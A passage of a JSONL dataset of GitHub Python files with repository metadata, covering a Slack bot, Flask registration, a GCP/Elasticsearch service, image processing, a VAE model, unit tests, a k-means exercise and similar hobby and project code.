slack_client.chat_postMessage(**postmessage)\n\n threading.Timer(sleep_time * 3600, self.notify_channel).start()\n\n def isTodayHoliday(self):\n de_holidays = holidays.CountryHoliday(\n \"DE\", [], \"BY\") # Bayern holidays\n return datetime.datetime.today() in de_holidays\n","repo_name":"nevarman/slack-lunchbot-freiraum","sub_path":"notify.py","file_name":"notify.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"70391191128","text":"import os\nimport requests\nfrom models import db, User, User_Type, Type, User_Service\nfrom decouple import config\nfrom flask_bcrypt import Bcrypt\n\nbcrypt = Bcrypt()\nACCESS_KEY = config('API_KEY')\nAPI_URL = 'http://apilayer.net/api/check'\n\n\nclass Registration():\n\n def __init__(self, form, ut, filename):\n \"\"\"Instantiate user class\"\"\"\n\n self.first_name = form.first_name.data\n self.last_name = form.last_name.data\n self.email = form.email.data\n self.password = form.password.data\n self.city_id = form.city.data\n self.user_type = ut\n self.profile = filename\n\n def valid_email(self):\n \"\"\"Handles email verification using MailBoxLayer API\"\"\"\n try:\n api_data = requests.get(\n f\"{API_URL}?access_key={ACCESS_KEY}&email={self.email}\")\n data = api_data.json()\n if data['mx_found']:\n return True\n return False\n except:\n # Skip for now if there is an error on API retrieval\n print('###############################################')\n print('###############################################')\n print('###############################################')\n print('###############################################')\n print('MX Error')\n print('###############################################')\n print('###############################################')\n print('###############################################')\n print('###############################################')\n return True\n\n def register_user(self, facebook=\"\", mobile=\"\", title=\"\", description=\"\"):\n \"\"\"Handles user registration\"\"\"\n\n hashed = bcrypt.generate_password_hash(self.password)\n # turn byte string to normal (unicode utf8) string\n hashed_utf8 = hashed.decode(\"utf8\")\n\n user = User(\n profile=self.profile,\n first_name=self.first_name,\n last_name=self.last_name,\n email=self.email,\n password=hashed_utf8,\n facebook=facebook,\n mobile=mobile,\n city_id=self.city_id,\n title=title,\n description=description\n )\n db.session.add(user)\n db.session.commit()\n return user\n\n def Add_User_Type(self, user_id):\n \"\"\"Add user type\"\"\"\n user_type = User_Type(\n user_id=user_id,\n type_id=self.user_type\n )\n db.session.add(user_type)\n db.session.commit()\n","repo_name":"ld-amaya/bluecollar","sub_path":"registration.py","file_name":"registration.py","file_ext":"py","file_size_in_byte":2596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9213137606","text":"import config\nimport const\nimport datetime as dt\nimport logger\nimport json\n\nfrom elasticsearch import Elasticsearch\nfrom database import Task, auto_session, CaseStudy, CaseStudySchedule, \\\n NLPType, Chart\nfrom database import CASE_STUDY_STATUS_APPROVED\nfrom datetime import datetime\nfrom google.cloud import pubsub_v1\n\n\nlogger = logger.init_logger(config.LOGGER_NAME, config.LOGGER)\n\n\n# support serialize datetime\ndef default(o):\n if isinstance(o, (dt.date, dt.datetime)):\n return o.isoformat()\n\n\ndef publish(logger, gcp_product_id, topic, payload):\n publisher = pubsub_v1.PublisherClient()\n topic_path = publisher.topic_path(gcp_product_id, topic)\n data = json.dumps(payload, default=default)\n\n data = data.encode(\"utf-8\")\n\n logger.info(f\"Published to {topic_path}, data: {data}\")\n\n future = publisher.publish(topic_path, data)\n result = future.result()\n logger.info(f\"Published a message {result}\")\n\n\n@auto_session\ndef request_task(key=None, params=None, session=None):\n assert key is not None, \"key is not null\"\n assert params is not None, \"params is not null\"\n\n task = session.query(Task).filter(Task.key == key).first()\n\n if task:\n # return if avaliable\n # if task.status == const.StatusEnum.SUCCESS.value:\n # return task.to_json()\n\n # renew task if too late\n # n_seconds_ago = datetime.datetime.utcnow() - timedelta(seconds=config.GCP_BQ_TIMEOUT)\n # n_seconds_ago = n_seconds_ago.replace(tzinfo=None)\n # task_created_at = task.created_at.replace(tzinfo=None)\n # if task_created_at < n_seconds_ago:\n # task.status = const.StatusEnum.RENEW.value\n # session.commit()\n # publish(logger, config.GCP_DATA_PLATFORM_PROJECT_ID, config.GCP_PUBSUB_CS_CHART_TOPIC, task.to_json())\n task_payload = task.to_json()\n del task_payload['data']\n publish(logger, config.GCP_DATA_PLATFORM_PROJECT_ID, config.GCP_PUBSUB_CS_CHART_TOPIC, task_payload)\n\n return task.to_json()\n else: # new task\n task = Task(\n key=key,\n params=params,\n status=const.StatusEnum.NEW.value\n )\n session.add(task)\n session.commit()\n publish(logger, config.GCP_DATA_PLATFORM_PROJECT_ID, config.GCP_PUBSUB_CS_CHART_TOPIC, task.to_json())\n return task.to_json()\n\n\n@auto_session\ndef update_data(key=None, data=None, session=None):\n assert key is not None, \"key is not null\"\n assert data is not None, \"data is not null\"\n\n task = session.query(Task).filter(Task.key == key).first()\n\n if not task:\n return False\n\n task.status = const.StatusEnum.SUCCESS.value\n task.data = data\n\n session.commit()\n\n return task.to_json()\n\n\ndef sync_request(payload=None):\n assert payload is not None, \"payload is not null\"\n try:\n publish(logger, config.GCP_DATA_PLATFORM_PROJECT_ID, config.GCP_PUBSUB_SCHEDULE_TOPIC, payload)\n return True\n except Exception as error:\n logger.error(f\"[SYNC_REQUEST] payload={payload}, error={error}\")\n return False\n\n\ndef list_case_study_schedule(session):\n return session.query(CaseStudySchedule)\\\n .join(CaseStudy)\\\n .filter(\n CaseStudy.is_active,\n CaseStudy.status == CASE_STUDY_STATUS_APPROVED,\n CaseStudySchedule.is_active,\n CaseStudySchedule.end_date >= datetime.utcnow()\n ).all()\n\n\n@auto_session\ndef get_case_study_schedule(case_study_id, session=None):\n case_study_schedule = session.query(CaseStudySchedule)\\\n .join(CaseStudy)\\\n .filter(\n CaseStudy.status == CASE_STUDY_STATUS_APPROVED,\n CaseStudy.id == case_study_id\n ).first()\n if case_study_schedule:\n return case_study_schedule.to_json()\n return False\n\n\n@auto_session\ndef get_export_chart_mapping_by_nlp_type_id(nlp_type_id, session=None):\n nlp_type_obj = session.query(NLPType).filter(NLPType.id == nlp_type_id).first()\n\n if not nlp_type_obj:\n return []\n\n nlp_type_name_upper = nlp_type_obj.name.upper()\n\n datamart_table_chart_mapping = config.CHART_DATA_MART_TABLE_MAPPING\n\n return_data = []\n charts = session.query(Chart).filter(\n Chart.nlp_type_id == nlp_type_id,\n Chart.is_active\n ).order_by(Chart.code_name)\n if not charts:\n return []\n\n for chart in charts:\n upper_chart_code = chart.code_name.upper()\n chart_data = dict()\n try:\n chart_data[\"code\"] = upper_chart_code\n chart_data[\"table\"] = datamart_table_chart_mapping[nlp_type_name_upper][upper_chart_code]\n cleaned_chart_name = \"\".join([s for s in chart.name if s == \" \" or s.isalnum()])\n chart_data[\"prefix\"] = cleaned_chart_name.lower().replace(\" \", \"_\")\n return_data.append(chart_data)\n except Exception as e:\n logger.error(f\"Get export chart mapping error: chart {upper_chart_code} === {e}\")\n\n for key, value in config.NLP_DATA_MART_TABLE_MAPPING[nlp_type_name_upper].items():\n raw_data_dict = dict()\n raw_data_dict[\"code\"] = key\n raw_data_dict[\"table\"] = value[\"table\"]\n raw_data_dict[\"prefix\"] = value[\"prefix\"]\n return_data.append(raw_data_dict)\n\n return return_data\n\ndef get_case_study_nlp_output(case_study_id, request_param_dict=None):\n logger.info(f\"Case study raw data: case study id {case_study_id} - params: {request_param_dict}\")\n return_data = {}\n return_data[\"count\"] = 0\n return_data[\"results\"] = []\n\n try:\n if request_param_dict is None:\n request_param_dict = dict()\n\n def _generate_sorting_dict():\n sort_query_dict = {}\n sort_query_string = request_param_dict.get(\"sorting\")\n if not sort_query_string:\n return {\n \"review_date\": \"ASC\",\n \"review_id\": \"ASC\",\n \"label\": \"ASC\"\n }\n\n sort_query_list = sort_query_string.split(\",\")\n\n special_column_map = {\n \"created_date\": \"review_date\",\n \"company\": \"company_name\",\n }\n\n for item in sort_query_list:\n column_name = special_column_map.get(item, item)\n sort_type = \"ASC\"\n if item.startswith(\"-\"):\n column_name = special_column_map.get(item[1:], item[1:])\n sort_type = \"DESC\"\n\n sort_query_dict[column_name] = sort_type\n\n return sort_query_dict\n\n sort_query_dict = _generate_sorting_dict()\n\n query_dict = {}\n\n page = 1\n try:\n page = int(request_param_dict.get(\"page\"))\n except:\n pass\n page_size = 10\n try:\n page_size = int(request_param_dict.get(\"page_size\"))\n except:\n pass\n\n from_index = (page - 1) * page_size\n size = page_size\n query_dict[\"from\"] = from_index\n query_dict[\"size\"] = size\n\n query_dict[\"sort\"] = []\n if sort_query_dict:\n for key, value in sort_query_dict.items():\n sort_item_tmp = {key: value.lower()}\n query_dict[\"sort\"].append(sort_item_tmp)\n\n query_body_dict = query_dict.setdefault(\"query\", {})\n query_body_dict[\"bool\"] = {}\n query_body_dict[\"bool\"][\"must\"] = []\n\n query_body_dict[\"bool\"][\"must\"].append(\n {\n \"range\": {\n \"review_date\": {\n \"gte\": request_param_dict.get(\"start_date\"),\n \"lte\": request_param_dict.get(\"end_date\")\n }\n }\n }\n )\n\n match_in_list_fields = [\n (\"company_name\", \"company_names\"),\n (\"source_name\", \"source_names\"),\n (\"dimension\", \"dimensions\"),\n (\"label\", \"labels\"),\n (\"polarity\", \"polarities\")\n ]\n for match_in_list_field in match_in_list_fields:\n query_string = request_param_dict.get(match_in_list_field[1], \"\")\n if not query_string:\n continue\n value_list = json.loads(query_string)\n\n query_tmp = {}\n query_tmp[\"bool\"] = {}\n\n query_tmp[\"bool\"].setdefault(\"should\", [])\n for value in value_list:\n query_tmp[\"bool\"][\"should\"].append(\n {\n \"term\": {\n match_in_list_field[0]: value\n }\n }\n )\n query_body_dict[\"bool\"][\"must\"].append(query_tmp)\n\n keywords_string = request_param_dict.get(\"keywords\", \"\")\n if keywords_string:\n keywords = json.loads(keywords_string)\n\n for keyword in keywords:\n query_tmp = {}\n query_tmp[\"match\"] = {\n \"trans_review\": {\n \"query\": keyword\n }\n }\n\n query_body_dict[\"bool\"][\"must\"].append(query_tmp)\n\n\n es_client = Elasticsearch(\n hosts=[config.ELASTICSEARCH_HOST]\n )\n\n case_study_index = f\"{config.CASE_STUDY_NLP_INDEX_PREFIX}{case_study_id}\"\n\n # Count query dict only support query\n count_query_dict = {}\n count_query_dict[\"query\"] = query_dict[\"query\"]\n count_res = es_client.count(index=case_study_index, body=count_query_dict)\n count = count_res[\"count\"]\n return_data[\"count\"] = count\n if count == 0:\n return return_data\n if page_size > count:\n query_dict[\"size\"] = count\n\n logger.info(f\"Query to ES with index: {case_study_index}, query: {query_dict}\")\n response = es_client.search(index=case_study_index, body=query_dict)\n for result in response[\"hits\"][\"hits\"]:\n return_data[\"results\"].append(\n result[\"_source\"]\n )\n\n logger.info(f\"Success get case study nlp output: {case_study_index}, query: {query_dict}\")\n\n except Exception as error:\n logger.error(f\"Error while get case study NLP output: error={error}\")\n\n return return_data\n","repo_name":"kplam3003/backend","sub_path":"service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":10262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15076885688","text":"import requests\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nimport datetime\nfilename = input(\"Enter the filename: \");\nwith open(filename) as f:\n content = f.readlines()\n# you may also want to remove whitespace characters like `\\n` at the end of each line\ncontent = [x.strip() for x in content]\n\ntimestamps_list = []\nsource_list = []\ntime_list = []\ncount_list = []\nfor ad in content:\n #getting each attributes\n timestamps = ad.split(',')[0]\n source = ad.split('%3A')[1].split('&q=')[0]\n time = ad.split(',')[3]\n count = ad.split(',')[4]\n print(timestamps+','+source+','+time+','+count)\n\n\n","repo_name":"etzard-fa/python-playrground","sub_path":"python-manipulation/python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40440747823","text":"import cv2 as cv\nfrom pathlib import Path\nimport matplotlib.pyplot as plt\nimport numpy\n\n\ndef checkSize(image1, image2):\n\n # get images shapes\n image1_size = image1.shape\n image2_size = image2.shape\n\n if(image1_size[0] != image2_size[0] or image2_size[1] != image1_size[1]):\n return False\n else:\n return True\n\n\ndef arithmetic(image1_path, image2_path):\n\n image1 = cv.imread(str(image1_path))\n image2 = cv.imread(str(image2_path))\n\n image1_size = image1.shape\n\n figure1 = plt.gcf()\n Titles = [\"Image 1\", \"Image2\", \"Addition\", \"Subtraction\"]\n count = 4\n\n # create empty addition and subtraction array\n add = sub = numpy.empty\n\n if(checkSize(image1, image2) == False):\n # pick image 2 as a default image to resize it to the size of image 1\n # in cv2 resize, height comes before width so I put them there 1 then 0\n new_image2 = cv.resize(image2, (image1_size[1], image1_size[0]))\n add = addition(image1, new_image2)\n sub = subtraction(image1, new_image2)\n else:\n add = addition(image1, image2)\n sub = subtraction(image1, image2)\n\n images = [cv.cvtColor(image1, cv.COLOR_BGR2RGB), cv.cvtColor(\n image2, cv.COLOR_BGR2RGB), cv.cvtColor(add, cv.COLOR_BGR2RGB), cv.cvtColor(sub, cv.COLOR_BGR2RGB)]\n\n for i in range(count):\n plt.subplot(2, 2, i + 1)\n plt.title(Titles[i])\n plt.imshow(images[i])\n\n plt.show()\n\n save_path = (Path(__file__).resolve().parent.parent.parent).joinpath(\n 'Result_images')\n\n figure1.savefig(str(save_path.joinpath('image_06.png')))\n\n cv.destroyAllWindows()\n\n\ndef addition(image1, image2):\n sumImage = cv.addWeighted(image1, 0.5, image2, 0.4, 0)\n\n return sumImage\n\n\ndef subtraction(image1, image2):\n subtractImage = cv.subtract(image1, image2)\n return subtractImage\n","repo_name":"NhutNguyen236/Intro-to-Image-Processing","sub_path":"Image-Processing-Lab-01-Huy/Getting_Started/functions/arithmetic.py","file_name":"arithmetic.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34028707714","text":"import torch\nfrom torch import nn\nfrom torch import optim\nimport torch.nn.functional as F\n\nclass VAE(nn.Module):\n def __init__(self):\n super(VAE, self).__init__()\n \n self.conv1 = nn.Conv2d(1,16,5) # H_out = 24/2 = 12\n self.bn1 = nn.BatchNorm2d(16)\n self.conv2 = nn.Conv2d(16,32,5) # H_out = 8/2 = 4\n self.bn2 = nn.BatchNorm2d(32)\n self.fc11 = nn.Linear(32*4*4, 10)\n self.fc12 = nn.Linear(32*4*4, 10)\n self.fc2 = nn.Linear(10,32*4*4)\n self.decode_bn1 = nn.BatchNorm2d(32)\n self.deconv1 = nn.ConvTranspose2d(32,16,5)\n self.decode_bn2 = nn.BatchNorm2d(16)\n self.deconv2 = nn.ConvTranspose2d(16,1,5)\n \n def encode(self, x):\n \n x = self.bn1(F.relu(F.avg_pool2d(self.conv1(x),2)))\n x = self.bn2(F.relu(F.avg_pool2d(self.conv2(x),2)))\n x = x.view(-1, 32*4*4)\n return self.fc11(x), self.fc12(x)\n \n def decode(self, z):\n \n z = self.fc2(z)\n z = z.view(-1, 32, 4, 4)\n z = F.relu(self.deconv1(self.decode_bn1(F.upsample(z, scale_factor=2, mode='bilinear'))))\n z = F.sigmoid(self.deconv2(self.decode_bn2(F.upsample(z, scale_factor=2, mode='bilinear'))))\n return z\n \n def reparameterize(self, mu, logvar):\n \n if self.training:\n std = torch.exp(0.5*logvar)\n eps = torch.randn_like(std)\n return eps.mul(std).add_(mu)\n else:\n return mu\n \n def forward(self,x):\n mu, logvar = self.encode(x)\n z = self.reparameterize(mu, logvar)\n return self.decode(z), mu, logvar\n\n @staticmethod\n def vae_loss(pred, x, mu, logvar):\n \tBCE = F.binary_cross_entropy(pred, x, size_average=False)\n \tKLD = -0.5 * torch.sum(1 + logvar - mu.pow(2) - logvar.exp())\n \treturn BCE + KLD","repo_name":"hbdo/world-models-pytorch","sub_path":"vae/VAE.py","file_name":"VAE.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"74515545688","text":"__author__ = \"Simone Campagna\"\n__all__ = [\n 'TestInvoiceCollection',\n]\n\nimport datetime\nimport unittest\n\nfrom invoice.log import get_null_logger\nfrom invoice.error import InvoiceDuplicatedNumberError, \\\n InvoiceWrongNumberError, \\\n InvoiceSyntaxError\nfrom invoice.invoice import Invoice\nfrom invoice.invoice_collection import InvoiceCollection\n\nclass TestInvoiceCollection(unittest.TestCase):\n def setUp(self):\n self.logger = get_null_logger()\n self._invoice_001_peter_parker = Invoice(\n doc_filename='2015_001_peter_parker.doc',\n year=2015, number=1,\n name='Peter B. Parker', tax_code='PRKPRT01A01B123C', \n city='New York', date=datetime.date(2015, 1, 1),\n service='therapy',\n fee=200.0, vat=0.0, cpa=0.0, deduction=0.0,\n p_vat=0.0, p_deduction=0.0, p_cpa=0.0, refunds=0.0, taxes=0.0,\n income=200.0, currency='euro')\n self._invoice_002_peter_parker = Invoice(\n doc_filename='2015_002_peter_parker.doc',\n year=2015, number=2,\n name='Peter B. Parker', tax_code='PRKPRT01A01B123C', \n city='New York', date=datetime.date(2015, 1, 2),\n service='therapy',\n fee=100.0, vat=0.0, cpa=0.0, deduction=0.0,\n p_vat=0.0, p_deduction=0.0, p_cpa=0.0, refunds=0.0, taxes=0.0,\n income=100.0, currency='euro')\n self._invoice_003_peter_parker = Invoice(\n doc_filename='2015_003_peter_parser.doc',\n year=2015, number=3,\n name='Peter B. Parker', tax_code='PRKPRT01A01B123C', \n city='New York', date=datetime.date(2015, 1, 3),\n service='therapy',\n fee=150.0, vat=0.0, cpa=0.0, deduction=0.0,\n p_vat=0.0, p_deduction=0.0, p_cpa=0.0, refunds=0.0, taxes=0.0,\n income=150.0, currency='euro')\n self._invoices = [\n self._invoice_001_peter_parker,\n self._invoice_002_peter_parker,\n self._invoice_003_peter_parker,\n ]\n\n # invoice\n def test_InvoiceCollection_default(self):\n invoice_collection = InvoiceCollection(logger=self.logger)\n \n def test_InvoiceCollection_default_logger(self):\n invoice_collection = InvoiceCollection()\n \n def test_InvoiceCollection_init(self):\n invoice_collection = InvoiceCollection(self._invoices, logger=self.logger)\n\n def test_filter(self):\n invoice_collection = InvoiceCollection(self._invoices, logger=self.logger)\n self.assertEqual(len(invoice_collection), 3)\n invoice_collection_2 = invoice_collection.filter(\"number != 2\")\n self.assertEqual(len(invoice_collection_2), 2)\n invoice_collection_3 = invoice_collection.filter(lambda invoice: invoice.number != 2)\n self.assertEqual(len(invoice_collection_3), 2)\n with self.assertRaises(NameError):\n invoice_collection_4 = invoice_collection.filter(\"numer != 2\")\n invoice_collection_5 = invoice_collection.filter(\"city != 'Gotham City'\")\n invoice_collection_6 = invoice_collection.filter(\"città != 'Gotham City'\")\n self.assertEqual(len(invoice_collection_5), len(invoice_collection_6))\n with self.assertRaises(InvoiceSyntaxError):\n invoice_collection_7 = invoice_collection.filter(\"città = 'Gotham City'\")\n\n \n\n","repo_name":"simone-campagna/invoice","sub_path":"tests/unittests/test_invoice_collection.py","file_name":"test_invoice_collection.py","file_ext":"py","file_size_in_byte":3410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32324686865","text":"# 673. Number of Longest Increasing Subsequence\n# Medium\n# Given an integer array nums, return the number of longest increasing subsequences.\n#\n# Notice that the sequence has to be strictly increasing.\nfrom typing import List\n\n\n# 2023-06-20 13:15:46\n# learned\n# dp\n# time O(n^2) 81.42% space O(n) 70.4%\nclass Solution:\n def findNumberOfLIS(self, nums: List[int]) -> int:\n n = len(nums)\n # dp[i] = the length of the LIS of nums[:i + 1]\n dp = [1] * n\n # count[i] = the number of LIS in nums[:i + 1]\n count = [1] * n\n max_len = 1\n for i in range(1, n):\n for j in range(i - 1, -1, -1):\n # if forms an increasing sequence\n if nums[j] < nums[i]:\n # current increasing sequence length\n l = dp[j] + 1\n if l > dp[i]: # longer sequence: we can construct count[j] + 1 such sequence\n dp[i] = l\n count[i] = count[j]\n elif l == dp[i]: # if same length\n # then we know that count[i] should include those in count[j]\n count[i] += count[j]\n max_len = max(max_len, dp[i])\n return sum(count[i] for i in range(n) if dp[i] == max_len)\n\n\ns = Solution()\nprint(s.findNumberOfLIS([1, 3, 5, 4, 7]))\nprint(s.findNumberOfLIS([1, 2, 4, 3, 5, 4, 7, 2]))\nprint(s.findNumberOfLIS([1, 1, 1, 2, 2, 2, 3, 3, 3]))\n","repo_name":"ScottCTD/Programming-Practices","sub_path":"LeetCode/python/Q673.py","file_name":"Q673.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29085531436","text":"import os\r\nimport glob\r\nimport random\r\nimport shutil\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n# org data path\r\nlabel_folder_path = \"./grass_project/grass_org_data\"\r\n\r\n# new data path\r\ndataset_folder_path = \"./grass_project/grass_dataset\"\r\n\r\n# train or val folder path\r\ntrain_folder_path = os.path.join(dataset_folder_path, \"train\")\r\nval_folder_path = os.path.join(dataset_folder_path, \"val\")\r\n\r\n# train or val folder create\r\nos.makedirs(train_folder_path, exist_ok=True)\r\nos.makedirs(val_folder_path, exist_ok=True)\r\n\r\n# org_folder\r\norg_folders = os.listdir(label_folder_path)\r\n\r\nfor org_folder in org_folders:\r\n if org_folder == \".DS_Store\": # Skip .DS_Store file\r\n continue\r\n\r\n org_folder_full_path = os.path.join(label_folder_path, org_folder)\r\n images = os.listdir(org_folder_full_path)\r\n random.shuffle(images)\r\n\r\n # label folder create\r\n train_label_folder_path = os.path.join(train_folder_path, org_folder)\r\n\r\n # val folder create\r\n val_label_folder_path = os.path.join(val_folder_path, org_folder)\r\n os.makedirs(train_label_folder_path, exist_ok=True)\r\n os.makedirs(val_label_folder_path, exist_ok=True)\r\n\r\n # image -> train folder move\r\n split_index = int(len(images) * 0.9)\r\n for image in images[:split_index]:\r\n if image == \".DS_Store\": # Skip .DS_Store file\r\n continue\r\n\r\n src_path = os.path.join(org_folder_full_path, image) # org image path\r\n dst_path = os.path.join(train_label_folder_path, image) # ./grass_project/grass_dataset/train/folder/image.png\r\n shutil.copyfile(src_path, dst_path)\r\n\r\n # image -> val folder move\r\n for image in images[split_index:]:\r\n if image == \".DS_Store\": # Skip .DS_Store file\r\n continue\r\n\r\n src_path = os.path.join(org_folder_full_path, image) # org image path\r\n dst_path = os.path.join(val_label_folder_path, image) # ./grass_project/grass_dataset/val/folder/image.png\r\n shutil.copyfile(src_path, dst_path)\r\n\r\nprint(\"OK\")\r\n","repo_name":"speedp001/image-classification-project","sub_path":"grass_project/image_move.py","file_name":"image_move.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5686380917","text":"# coding=utf-8\n\nfrom Crawler.handle_fb_page import analysis_fb_page\nfrom Crawler.util import *\n\nfrom _datetime import datetime, timedelta\nimport json\n\nall_result: dict = {}\n\n\ndef handler_selector(shop_name: str, url: str, contents: str):\n if \"www.facebook.com/pg/\" in url:\n all_result.update(analysis_fb_page(shop_name, contents, url))\n\n\ndef write_data():\n last_update: datetime = datetime.now()\n last_update_str: str = f'const last_update = \"{datetime_to_str(last_update)}\"; \\n'\n\n with open(\"../Web/data/latest_data.js\", \"w+\", encoding=\"utf-8\") as js:\n js.write(last_update_str)\n js.write(f\"const data = \")\n json.dump(all_result, js, indent=' ', ensure_ascii=False)\n js.write(\";\")\n js.close()\n print_time_and_msg(\"Finish writing data\")\n\n # for shop, content in all_result.items():\n # print(f\"{shop}: \\n {content}\")\n","repo_name":"BigtoC/Hong-Kong-Facemask-On-Sale","sub_path":"Crawler/data_handler.py","file_name":"data_handler.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"8099862453","text":"import matplotlib.pyplot as plt\nimport copy\nimport numpy as np\nfrom numpy.linalg import norm\nfrom sklearn.cluster import KMeans\n\nfrom matplotlib.image import imread\nfrom sklearn.cluster import KMeans\nimport numpy as np\nimport time as Time\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\n\n\ndef split_points(points: np.array, n_of_point_groups: int) -> np.array:\n changed_points = copy.copy(points)\n index = np.arange(len(points))\n groups_index = np.split(index, n_of_point_groups)\n \n for id_group,group_index in enumerate(groups_index):\n changed_points[group_index] = points[group_index] + 5*id_group\n \n return changed_points\n\n \n\n#generate points\n\nn_of_points = 60\npoints = np.random.rand(n_of_points,2) * 5 \npoints = split_points(points, 3)\n\nplt.figure()\nplt.scatter(points[:,0],points[:,1])\n\n\nk = 3\n\ndef initialize_clusters(points: np.array, k_clusters: int) -> np.array:\n vector_with_all_indexes = np.arange(points.shape[0])\n vector_with_all_indexes = np.random.permutation(vector_with_all_indexes) \n required_indexes = vector_with_all_indexes[:k_clusters] \n \n return points[required_indexes]\n\ndef calculate_metric(points: np.array, centroid: np.array) -> np.array:\n return np.square(norm(points-centroid, axis=1))\n\n\ndef compute_distances(points: np.array, centroids_points: np.array) -> np.array:\n return np.asarray([calculate_metric(points, centroid) for centroid in centroids_points])\n\ndef assign_centroids(distances: np.array):\n return np.argmin(distances, axis = 1)\n\ndef calculate_objective(cluster_belongs: np.array, distances: np.array) -> np.array:\n distances = distances.T\n selected_min = distances[np.arange(len(distances)), cluster_belongs]\n return np.sum(selected_min)\n\ndef calculate_new_centroids(points: np.array, clusters_belongs: np.array, n_of_clusters: int) -> np.array:\n new_clusters = []\n for cluster_id in range(n_of_clusters):\n j = np.where(clusters_belongs == cluster_id)\n points_sel = points[j]\n new_clusters.append(np.mean(points_sel, axis=0))\n\n return np.array(new_clusters)\n\ndef fit(points: np.array, n_of_centroids: int, n_of_oterations: int, error: float = 0.001) -> tuple:\n centroid_points = initialize_clusters(points, n_of_centroids)\n last_objective = 10000\n\n\n for n in range(n_of_oterations):\n distances = compute_distances(points, centroid_points)\n cluster_belongs = np.argmin(distances, axis=0)\n \n objective = calculate_objective(cluster_belongs, distances)\n \n if abs(last_objective - objective) < error:\n break\n \n last_objective = objective\n\n centroid_points = calculate_new_centroids(points, cluster_belongs, n_of_centroids)\n\n return centroid_points, last_objective\n\n\nk = 4\nn_of_points = 60\nn_of_iterations = 200\n\n\npoints = np.random.rand(n_of_points,2) * 5 \npoints = split_points(points, 3)\ncentroids, _ = fit(points, 3, n_of_iterations)\n\n\n\nplt.figure()\nplt.scatter(points[:,0],points[:,1])\nplt.scatter(centroids[:,0].T,centroids[:,1].T)\n#plt.show()\n\n\nk_all = range(2, 10)\nall_objective = []\n\nfor n_of_cluster in k_all:\n _, objective = fit(points, n_of_cluster, n_of_iterations)\n all_objective.append(objective)\n\n\nplt.figure()\nplt.plot(k_all, all_objective)\nplt.xlabel('K clusters')\nplt.ylabel('Sum of squared distance')\n#plt.show()\n\n\n\n\n#Exercice 3\nloaded_image = imread('fish.jpg')\n\nplt.imshow(loaded_image)\nplt.show()\n\n\ndef compress_image(image: np.array, number_of_colours: int) -> np.array:\n t1 = Time.time()\n newImage = image.reshape(image.shape[0]*image.shape[1], image.shape[2])\n kmeans = KMeans(n_clusters=number_of_colours,random_state=0).fit(newImage)\n print(kmeans)\n image_new = kmeans.predict(newImage)\n \n cluster_labels = kmeans.labels_\n colors = kmeans.cluster_centers_.astype('uint8')\n \n image_new = colors[cluster_labels].reshape(image.shape)\n print('Execution Time', Time.time() - t1)\n return image_new\n\n\nimg = compress_image(loaded_image, 30)\n\nplt.figure()\nplt.imshow(img)\nplt.show()","repo_name":"ThomasKUBEC/BrnoExercisesML","sub_path":"kmeanCorrected.py","file_name":"kmeanCorrected.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37056157543","text":"'''\nUse dict comprehension to build a dictionary that maps company names \nto the number of characters of its name and print the result to the console\n'''\n\ndef build_dict_with_key_length(input_list: list) -> dict:\n stock_dict = {item: len(item) for item in input_list}\n return stock_dict\n\nstocks = ['Playway', 'CD Projekt', 'Boombit']\nprint(build_dict_with_key_length(stocks))","repo_name":"shaunryan0701/python-challenges","sub_path":"dict_comp/dict_comp_exercise_2.py","file_name":"dict_comp_exercise_2.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5026499704","text":"from sense_hat import SenseHat\nfrom time import sleep\n\nsense = SenseHat()\n\ndef map_to_leds(value, start, end):\n return int(max(0, min(1, (value - start) / (end - start))) * 6)\n\n# stat_position is 0-2, decides the horizontal position of the visualization (left-to-right)\n# range_start and range_end define the stat's desired min and max values\n# r, g and b decide the stat visualization's color\ndef display_stat(stat_position, value, range_start, range_end, r, g, b):\n global sense\n value = map_to_leds(value, range_start, range_end)\n for y in range(7 - value, 7):\n sense.set_pixel(1 + stat_position * 2, y, r, g, b)\n sense.set_pixel(2 + stat_position * 2, y, r, g, b)\n\nwhile True:\n temp = sense.get_temperature()\n pressure = sense.get_pressure()\n humidity = sense.get_humidity()\n sense.clear()\n display_stat(0, temp, 22, 28, 255, 128, 0)\n display_stat(1, pressure, 1033, 1035, 160, 160, 160)\n display_stat(2, humidity, 17, 28, 0, 128, 255)\n sleep(0.1)\n","repo_name":"Pohjois-Tapiolan-lukio/sensehat-materials","sub_path":"environment-sensor/environment_sensor.py","file_name":"environment_sensor.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28480453678","text":"import json\nimport threading\nimport requests\n\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse\nfrom io import BytesIO\n\n\"\"\" Code extracted from 